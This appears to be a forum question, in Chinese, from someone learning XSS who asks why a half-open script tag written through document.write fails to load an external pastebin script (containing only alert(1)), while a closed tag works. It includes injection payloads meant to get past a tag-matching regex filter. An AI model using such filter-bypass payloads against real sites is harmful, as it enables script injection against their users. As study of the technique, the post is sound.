我正在学习XSS,而我正在测试半开标签攻击网站,该网站仅检查<\/?[^>]+>
(正确的标签正则表达式)......
HTML :
<script>
document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')//alert 1
document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')// doesn't works
</script>
外部JS :
http://pastebin.com/raw/WY3EPias: alert(1)
在我的Chrome中,页面src代码:
更正标记:
<html>
<head>
<script>
document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')
//document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')
</script>
</head>
<body>
<article>
<script src="http://pastebin.com/raw/WY3EPias"></script>
</article>
</body>
</html>
半开标签:
<html>
<head>
<script>
//document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')
document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')
</script>
</head>
<body>
<article>
<script src="http://pastebin.com/raw/WY3EPias" <="" article="">
</script>
</article>
</body>
</html>
它们几乎相同,但有一些奇怪的属性,script
标签在半开一个。但是,半开脚本标签并没有引用外部JS,当然也没有提醒。
那么,任何机构都可以解释为什么我的半开放脚本标签没有引用外部JS的原因吗?
PS:
我在我的Chrome中尝试了那个带有奇怪属性的html(script
标签),它会发出警告......所以,我认为奇怪的属性在这种情况下并不重要。
<html>
<head>
</head>
<body>
<article>
<script src="http://pastebin.com/raw/WY3EPias" <="" article="">
</script>
</article>
</body>
</html>